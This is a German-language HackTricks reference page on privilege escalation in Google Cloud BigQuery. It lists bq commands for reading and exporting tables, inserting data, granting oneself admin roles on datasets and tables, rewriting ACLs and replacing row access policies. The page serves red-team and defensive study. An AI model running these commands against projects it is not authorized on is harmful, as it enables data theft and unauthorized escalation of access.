GCP - BigQuery Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

BigQuery

Für weitere Informationen zu BigQuery siehe:

pageGCP - Bigquery Enum

Tabelle lesen

Durch das Lesen der in einer BigQuery-Tabelle gespeicherten Informationen ist es möglicherweise möglich, vertrauliche Informationen zu finden. Um auf die Informationen zuzugreifen, sind die Berechtigungen bigquery.tables.get, bigquery.jobs.create und bigquery.tables.getData erforderlich:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Daten exportieren

Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. Exportieren Sie sie in einen Cloud-Speicherbucket und laden Sie die Dateien herunter mit den Informationen. Um diese Aktion durchzuführen, sind die folgenden Berechtigungen erforderlich: bigquery.tables.export, bigquery.jobs.create und storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Daten einfügen

Es könnte möglich sein, bestimmte vertrauenswürdige Daten in eine Bigquery-Tabelle einzuführen, um eine Schwachstelle an anderer Stelle auszunutzen. Dies kann einfach mit den Berechtigungen bigquery.tables.get, bigquery.tables.updateData und bigquery.jobs.create durchgeführt werden:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich weitere Berechtigungen für ein BigQuery-Dataset zu verschaffen:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Nur diese Berechtigung ermöglicht es, Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem Sie die ACLs ändern, die anzeigen, wer darauf zugreifen kann:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich weitere Berechtigungen für eine BigQuery-Tabelle zu geben:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Laut den Dokumenten ist es mit den genannten Berechtigungen möglich, eine Zeilenzugriffsrichtlinie zu aktualisieren. Jedoch benötigen Sie bei Verwendung des CLIs bq noch einige weitere Berechtigungen: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Es ist möglich, die Filter-ID im Ausgabebereich der Aufzählung der Zeilenrichtlinien zu finden. Beispiel:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated